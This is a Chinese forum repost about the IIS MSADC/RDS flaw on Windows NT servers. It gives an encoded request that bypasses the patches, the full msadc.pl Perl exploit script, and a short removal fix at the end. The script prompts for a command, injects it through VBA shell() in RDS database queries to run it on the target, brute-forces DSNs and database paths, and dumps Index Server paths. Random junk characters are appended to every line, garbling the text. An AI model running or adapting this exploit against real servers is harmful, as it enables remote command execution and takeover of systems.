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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Qm%F]nyy  
%36x'Dn ?  
涉及程序: 18g_v"6o  
Microsoft NT server :_{8amO  
UD I{4+z  
描述: .UyE|t4  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 HL)!p8UHJ  
DA=!AK>  
详细: ~lj~]j  
如果你没有时间读详细内容的话,就删除: 7y=>Wa?T[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll E-LkP;  
有关的安全问题就没有了。 A_9WSXR  
f~IJ4T2#N  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 )7q$PcY  
3;nOm =I  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Bous d  
关于利用ODBC远程漏洞的描述,请参看: i1iP'`r  
9hp&HL)BOa  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yTm \O UD  
*MF9_V)8V  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 gGqrFh\  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp p|UL<M9{a]  
6r7>nU&d  
这里不再论述。 H`EhsYYK  
gY}In+S  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: gesbt  
 :Mx  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset _0/unJl`  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! P5S ]h  
%&ejO= r  
$:ush"=f8^  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nD wh  
3G} )$y3m  
#!perl P8 X07IK  
# b|#=kPVgL}  
# MSADC/RDS 'usage' (aka exploit) script A^U84kV=  
# 'C+cQLig@  
# by rain.forest.puppy sEhvx +(  
# c{#2;k Q,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me /qpSmRL  
# beta test and find errors! $ {yc t  
=bKDD <(  
use Socket; use Getopt::Std; R|; BO:S1  
getopts("e:vd:h:XR", \%args); 1#vy# '  
}$6L]   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; oOFTQB_6  
]8$8QQc<<5  
if (!defined $args{h} && !defined $args{R}) { ;\MWxh,K  
print qq~ XqH@3Ehk  
Usage: msadc.pl -h <host> { -d <delay> -X -v } obb%@S`  
-h <host> = host you want to scan (ip or domain) 'Waa zk[@O  
-d <seconds> = delay between calls, default 1 second 3o.x<G(  
-X = dump Index Server path table, if available M!&Hn,22  
-v = verbose {UNH?2  
-e = external dictionary file for step 5 IUMv{2C  
Pwh}hG1s a  
Or a -R will resume a command session fI.|QD*$b  
bWPsfUn#  
~; exit;} z 4u&#.bU  
]HKt7 %,  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; jP@ @<dt  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {QG.> lB  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0Tj,TF  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); o |$D|E  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Nc[@QC{  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }  A l[ZU  
^:9a1{L[  
if (!defined $args{R}){ $ret = &has_msadc; r" H::A  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Ds1h18  
\aSP7DzqQ  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {kpad(E  
. "cmd /c "; )g5?5f;  
$in=<STDIN>; chomp $in; ;0DoZ  
$command="cmd /c " . $in ; 84ij4ZYe  
tBo\R?YRs  
if (defined $args{R}) {&load; exit;} An2 >]\L  
-cqE^qAdX  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; z?/_b  
&try_btcustmr; a~}q]o?j  
$4bc!  
print "\nStep 2: Trying to make our own DSN..."; 7FX4|]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Pz)lq2Zm9  
h nydH-;cz  
print "\nStep 3: Trying known DSNs..."; @]uqC~a^  
&known_dsn; g*k)ws  
AXyXK??  
print "\nStep 4: Trying known .mdbs..."; B,b8\\^k|  
&known_mdb; WjD885Xo  
J)nK9  
if (defined $args{e}){ \J LGw1F  
print "\nStep 5: Trying dictionary of DSN names..."; Bdo{zv&A  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } `}X3f#eO&  
5F kdGF  
print "Sorry Charley...maybe next time?\n"; W"\~O"a  
exit; IjI'Hx  
M/S~"iD  
############################################################################## 8/e-?2l  
;i@S}LwL  
sub sendraw { # ripped and modded from whisker *'@O o  
sleep($delay); # it's a DoS on the server! At least on mine... ch i=]*9  
my ($pstr)=@_; 2|pTw5z~  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || c~0kZA6  
die("Socket problems\n"); :EX>Y<`]  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7# AIX],  
select(S); $|=1; J4bP(=w!  
print $pstr; my @in=<S>; Xhe& "rM  
select(STDOUT); close(S); @SX%q&-  
return @in; .}faWzRH9  
} else { die("Can't connect...\n"); }} XkI'm\W  
v9(5H Y  
############################################################################## xHgC':l(0  
Pps$=`  
sub make_header { # make the HTTP request N{J 1C6  
my $msadc=<<EOT i/:L^SQAq  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Q-x>yau"  
User-Agent: ACTIVEDATA 5|*{~O|  
Host: $ip w8lrpbLh  
Content-Length: $clen zx@!8Z  
Connection: Keep-Alive <G pji5f2  
r]9-~1T  
ADCClientVersion:01.06 }M4dze  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 vF\>;pcT  
O_QDjxj^rZ  
--!ADM!ROX!YOUR!WORLD!  : (UK'i  
Content-Type: application/x-varg uFr12ZFgK  
Content-Length: $reqlen 0/HFLz'  
Q,?_;,I}  
EOT /@:X0}L  
; $msadc=~s/\n/\r\n/g; ^ `LqNG  
return $msadc;} h<9vm[.  
7FH(C`uKi  
############################################################################## _k:8ib2TQ  
}s,NM%oI  
sub make_req { # make the RDS request #]h X ."b2  
my ($switch, $p1, $p2)=@_; APu$t$dmm  
my $req=""; my $t1, $t2, $query, $dsn; Jg#0g eU  
i(~DhXz*T  
if ($switch==1){ # this is the btcustmr.mdb query BTAbDyH5  
$query="Select * from Customers where City=" . make_shell(); h)Y] L#R  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  3IxC@QR  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} t/|0"\ p  
|[],z 8  
elsif ($switch==2){ # this is general make table query t/ \S9  
$query="create table AZZ (B int, C varchar(10))"; a1pp=3Pd?~  
$dsn="$p1";} @i ~A7L0/  
UPtj@gtcY  
elsif ($switch==3){ # this is general exploit table query HK )m^!=  
$query="select * from AZZ where C=" . make_shell(); I\*6 >  
$dsn="$p1";} 8 063LWV  
SkuR~!  
elsif ($switch==4){ # attempt to hork file info from index server JrcbJt  
$query="select path from scope()"; b1Vr>:sK47  
$dsn="Provider=MSIDXS;";} { ^o.f  
l~Jd>9DwY  
elsif ($switch==5){ # bad query  X}(s(6  
$query="select"; 4/ ` *mPW  
$dsn="$p1";} &S4*x|-C&  
'$FF/|{  
$t1= make_unicode($query); ] SJ#:7  
$t2= make_unicode($dsn); XG|N$~N+2  
$req = "\x02\x00\x03\x00"; } =OE.cf@  
$req.= "\x08\x00" . pack ("S1", length($t1)); V]|X ,G  
$req.= "\x00\x00" . $t1 ; y:)^*2GA-B  
$req.= "\x08\x00" . pack ("S1", length($t2)); Y`~B> J  
$req.= "\x00\x00" . $t2 ; ]I|(/+}M  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 8 a]'G)(ts  
return $req;} sVx}(J  
"_/ih1z]  
############################################################################## HH*y$  
97liSd  
sub make_shell { # this makes the shell() statement dWz?`B{'  
return "'|shell(\"$command\")|'";} `W86]ut[  
: UeK0  
############################################################################## 1(p:dqGS  
^ ]9K>}  
sub make_unicode { # quick little function to convert to unicode _}R9!R0O  
my ($in)=@_; my $out; 96w2qgc2  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } bK:U:vpYm  
return $out;} 0AHQ(+Ap  
tV !?Ol  
############################################################################## ^PEw#.WG  
"Z&.m..gc  
sub rdo_success { # checks for RDO return success (this is kludge) .B]l@E-u  
my (@in) = @_; my $base=content_start(@in); "t^v;?4  
if($in[$base]=~/multipart\/mixed/){ W>#yXg9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} prZ ,4\  
return 0;} g}MUfl-L  
+2`BZ}5y  
############################################################################## PC9,;T&7_  
5x+]uABE  
sub make_dsn { # this makes a DSN for us #@FA=p[%  
my @drives=("c","d","e","f"); z Rna=h!  
print "\nMaking DSN: "; M\{n+r -m  
foreach $drive (@drives) { <Y k i8  
print "$drive: "; 4Ly>x>b<  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . vAX(3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ,l~<|\4,wv  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); |aDBp  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~N!HxQ  
return 0 if $2 eq "404"; # not found/doesn't exist mB-,\{)  
if($2 eq "200") { 'xH^ksb"  
foreach $line (@results) { ZV gfrvZP  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} T-N>w;P  
} return 0;} JP8}+  
u"h/ERCa  
############################################################################## }JFTe g  
%o8o~B|{.U  
sub verify_exists { &_L%wV|[  
my ($page)=@_; l~E~!MR  
my @results=sendraw("GET $page HTTP/1.0\n\n"); { b$"SIg1E  
return $results[0];} vH+g*A0S<  
TAXsL&Tz>  
############################################################################## m,)s8_a  
-;9 }P  
sub try_btcustmr { J+/}m}bx  
my @drives=("c","d","e","f"); *73gp  
my @dirs=("winnt","winnt35","winnt351","win","windows"); c'2/C5  
ujV{AF`JfB  
foreach $dir (@dirs) { ]s=|+tz\V  
print "$dir -> "; # fun status so you can see progress ;TL.QN/l  
foreach $drive (@drives) { `<9>X9.+  
print "$drive: "; # ditto 8e?/LA%MU  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 'dwW~4|B  
$reqlenlen=length( "$reqlen" ); %jHm9{|X  
$clen= 206 + $reqlenlen + $reqlen; #I=EYl=Vvi  
dJR[9T_OF  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); sqKx?r72  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} vIpL8B86a  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} VKttJok1  
m?(8T|i  
############################################################################## D;+/ bll7  
-+"#G?g  
sub odbc_error { B[Lm}B[  
my (@in)=@_; my $base; 6nTM~]5.  
my $base = content_start(@in); WJq>%<#  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this c9+G Qp  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j*>J1M3E  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [1rQ'FBB^1  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u=0O3-\h  
return $in[$base+4].$in[$base+5].$in[$base+6];} {JfQQP&FV  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |<Ls;:5.  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . IHTim T?  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} p{Q6g>?[  
vX:}tir[  
############################################################################## 9[qOfIny  
d<-f:}^k0  
sub verbose { D;YfQQr  
my ($in)=@_; ?I?G+(bq  
return if !$verbose; pX%:XpC!h  
print STDOUT "\n$in\n";} tz):$1X_  
$0[T<]{/?  
############################################################################## 7i($/mNl  
ZN8j})lE  
sub save { # `=Zc7gf  
my ($p1, $p2, $p3, $p4)=@_; =2&\<Q_Fi  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; b~zSsws.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; AQZ<,TE0,  
close OUT;} bqbG+ g  
5Od%Jhtt  
############################################################################## PIH\*2\/  
7.29'  
sub load { 7wj2-BWa  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]ogifnwv  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); $5pCfW8>  
@p=<IN>; close(IN); yv-R<c!'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); e bze_:  
$target= inet_aton($ip) || die("inet_aton problems"); +iC:/CJL  
print "Resuming to $ip ..."; (1z"=NCp  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ]({ -vG\m  
if($p[1]==1) { ExG(*[l  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; |:S6Gp[\O  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; @V:K]M 5  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Wx0i_HFR  
if (rdo_success(@results)){print "Success!\n";} ]0D-g2!|A  
else { print "failed\n"; verbose(odbc_error(@results));}} O=A R`r#u  
elsif ($p[1]==3){ g}%ODa !H  
if(run_query("$p[3]")){ <ww D*t  
print "Success!\n";} else { print "failed\n"; }} c+l1 l0BA  
elsif ($p[1]==4){ ZuGSRGX'  
if(run_query($drvst . "$p[3]")){ F?6kkLS/  
print "Success!\n"; } else { print "failed\n"; }} EA~xxKq  
exit;} PMP{|yEx"  
1"y !wsM%  
############################################################################## 9p8ajlYg,  
^8&}Nk[j  
sub create_table { o"JH B  
my ($in)=@_; 65aYH4"  
$reqlen=length( make_req(2,$in,"") ) - 28; UIEvwQ  
$reqlenlen=length( "$reqlen" ); c~U0&V_`j  
$clen= 206 + $reqlenlen + $reqlen; GQt5GOt  
my @results=sendraw(make_header() . make_req(2,$in,""));  ]~;*9`:  
return 1 if rdo_success(@results); LtB5;ByeQ0  
my $temp= odbc_error(@results); verbose($temp); _&, A  
return 1 if $temp=~/Table 'AZZ' already exists/; |!(8c>]Bo  
return 0;} =G}a%)?As\  
[ bnu DS  
############################################################################## jgE{JK\n4  
[R4# bl  
sub known_dsn { 9(]_so24,  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go cB,^?djJ3  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", CzV;{[?~;  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", z#+WK| a  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); \hX,z =  
XKGiw 2 C  
foreach $dSn (@dsns) { {v*4mT  
print "."; [<=RsD_q~  
next if (!is_access("DSN=$dSn")); :=Zd)i)3  
if(create_table("DSN=$dSn")){ . Z&5TK4I  
print "$dSn successful\n"; r $S9/  
if(run_query("DSN=$dSn")){ 2xN7lfu1RB  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { A}Iyl   
print "Something's borked. Use verbose next time\n";}}} print "\n";} <lB2Nv-,  
%uo8z~+  
############################################################################## j#f/M3  
D#<y pJR  
sub is_access { L9/'zhiZBx  
my ($in)=@_; )FwOg;=3M"  
$reqlen=length( make_req(5,$in,"") ) - 28; n@`3O'S  
$reqlenlen=length( "$reqlen" ); '`upSJ;e  
$clen= 206 + $reqlenlen + $reqlen; }!^h2)'7  
my @results=sendraw(make_header() . make_req(5,$in,"")); W $D 34(  
my $temp= odbc_error(@results); Q%O9DCi  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); SL uQv?R}9  
return 0;} KJFQ)#SW!  
p>)1Z<D"a  
############################################################################## S+06pj4Ie  
|6d:k~p  
sub run_query { HJr/N)d  
my ($in)=@_; lSR\wz*Fk  
$reqlen=length( make_req(3,$in,"") ) - 28; L~ax`i1:"  
$reqlenlen=length( "$reqlen" ); P{dR pH|  
$clen= 206 + $reqlenlen + $reqlen; &3/`cl[+  
my @results=sendraw(make_header() . make_req(3,$in,"")); Sp[9vlo8  
return 1 if rdo_success(@results); q5g_5^csM{  
my $temp= odbc_error(@results); verbose($temp); HZ<#H3_ix  
return 0;} NATi)A"TZ  
:(enaHn#~  
############################################################################## q2 7Ac; y  
W4 q9pHQ  
sub known_mdb { _,^f,WO~  
my @drives=("c","d","e","f","g"); {W?!tD43"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); f #h0O3  
my $dir, $drive, $mdb; KeyKLkg>  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; X:Y1g)|K  
`_vPElQXZ#  
# this is sparse, because I don't know of many ybJa:  
my @sysmdbs=( "\\catroot\\icatalog.mdb", }|h-=T '  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", I&|8 qx#  
"\\system32\\certmdb.mdb",  fp||<B  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% RPa]VL1W  
CH+%q+I  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", hak#Iz0[C  
"\\cfusion\\cfapps\\forums\\forums_.mdb", g{DOQA  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =pe O %  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6iQqOAG  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Yaq0mef0  
"\\cfusion\\database\\cfexamples.mdb", h`fZ 8|yw  
"\\cfusion\\database\\cfsnippets.mdb", "Io-%S u+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 3Dc^lfn  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  ~@@t-QY  
"\\cfusion\\brighttiger\\database\\cleam.mdb", F@/syX;bb5  
"\\cfusion\\database\\smpolicy.mdb", [ 2@Lc3<  
"\\cfusion\\database\cypress.mdb", G%gdI3h1Z  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 7# 'j>]  
"\\website\\cgi-win\\dbsample.mdb", aJm5`az)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", RGV{KL  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N+SA$wG  
); #these are just [9?]|4  
foreach $drive (@drives) { !5+9~/;  
foreach $dir (@dirs){ PvUY Q>Kw  
foreach $mdb (@sysmdbs) { Bptt"  
print "."; ,hK =x  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ mp3Dc  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9F,XjPK=  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ yMNOjs'c {  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; j+< !4 0#  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1slt[&4N  
Y\!:/h]E&  
foreach $drive (@drives) { "~C \Z} ;  
foreach $mdb (@mdbs) { /XRgsF  
print "."; ^umHuAAE  
if(create_table($drv . $drive . $dir . $mdb)){ Ahd{f!  
print "\n" . $drive . $dir . $mdb . " successful\n"; M]\"]H?  
if(run_query($drv . $drive . $dir . $mdb)){ oQyMs>g  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &m(eMX0lU  
} else { print "Something's borked. Use verbose next time\n"; }}}} 5NSXSR9c  
} ziW[qH {  
KJ?/]oLr0  
############################################################################## EI9Yv>7d{  
\l6mX In=>  
sub hork_idx { ^1}ffE(3>  
print "\nAttempting to dump Index Server tables...\n"; +&AU&2As  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; LY0/\Z"N  
$reqlen=length( make_req(4,"","") ) - 28; etW-gbr  
$reqlenlen=length( "$reqlen" ); /C<} :R  
$clen= 206 + $reqlenlen + $reqlen; jP @t!=  
my @results=sendraw2(make_header() . make_req(4,"","")); Rx<[bohio  
if (rdo_success(@results)){ cNN_KA  
my $max=@results; my $c; my %d; /-pop]L  
for($c=19; $c<$max; $c++){ RmN\;G?}  
$results[$c]=~s/\x00//g; "2"*3R<Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; )fZ5.W8UE]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; @7PE&3  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; `0ju=FP'u5  
$d{"$1$2"}="";} BJ/#V)  
foreach $c (keys %d){ print "$c\n"; } 9.goO|~B~  
} else {print "Index server doesn't seem to be installed.\n"; }} DA4!-\bt@  
`~t$k7wm=  
############################################################################## Pb D|7IM  
I^ A01\p  
sub dsn_dict { ;rta#pRn  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); A%M&{S'+|X  
while(<IN>){ QQjMC'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .+AO3~Dg  
next if (!is_access("DSN=$dSn")); ldoN!J  
if(create_table("DSN=$dSn")){ ~w%Z Bp  
print "$dSn successful\n"; ,v1-y ?kB  
if(run_query("DSN=$dSn")){ eWx6$_|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VA'<  
print "Something's borked. Use verbose next time\n";}}} bOmM~pD  
print "\n"; close(IN);} o9HDxS$~^  
Ll&5#q  
############################################################################## +ACV,GG  
;v+CQx  
sub sendraw2 { # ripped and modded from whisker e;}5~dSi  
sleep($delay); # it's a DoS on the server! At least on mine... >Q\H1|?  
my ($pstr)=@_; ELNA-ZKp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  WU,72g=  
die("Socket problems\n"); Zr 2QeLQC(  
if(connect(S,pack "SnA4x8",2,80,$target)){ FkE CY  
print "Connected. Getting data"; B 9]sSx  
open(OUT,">raw.out"); my @in; {78*S R  
select(S); $|=1; print $pstr; {K0T%.G  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} uJp}9B60_  
close(OUT); select(STDOUT); close(S); return @in; Q+ST8  
} else { die("Can't connect...\n"); }} KF-gcRh  
XY QUU0R  
############################################################################## <ct{D|mm  
U14dQ=~b/  
sub content_start { # this will take in the server headers $l[*Y  
my (@in)=@_; my $c; 1@qb.9wZ6  
for ($c=1;$c<500;$c++) { 7iJk0L$]x  
if($in[$c] =~/^\x0d\x0a/){ .r*b+rc;]  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } iii$)4V  
else { return $c+1; }}} M[*:=C)H  
return -1;} # it should never get here actually 't_=%^ q  
c!\y\r  
############################################################################## $BBfsaJPT  
/s*>V@Q  
sub funky { _&![s]  
my (@in)=@_; my $error=odbc_error(@in); 6k3l/~R  
if($error=~/ADO could not find the specified provider/){ fAUsJ[  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; s* YFN#Wuc  
exit;} ujWHO$uz!  
if($error=~/A Handler is required/){ u#UeJu O  
print "\nServer has custom handler filters (they most likely are patched)\n"; et ~gO!1:*  
exit;} ta6 WZu  
if($error=~/specified Handler has denied Access/){ ;qk~>  
print "\nServer has custom handler filters (they most likely are patched)\n"; FW.dHvNX  
exit;}} Q#r 0DWo\  
zXf+ieo  
############################################################################## =nL*/  
{4m"S 7O  
sub has_msadc { a&ByV!%%+_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 2nie I*[  
my $base=content_start(@results); fY"28#   
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); EhUy7b,1_  
return 0;} RK3/!C`  
n*6s]iG V  
######################## `U1%d7[vY  
S&uL9)Glb  
I~qiF%?d  
解决方案: DVcu*UVw  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll n)7icSc  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 @YB\ PVhW  
.- Lqo=o\  
拿出来充数 哈哈
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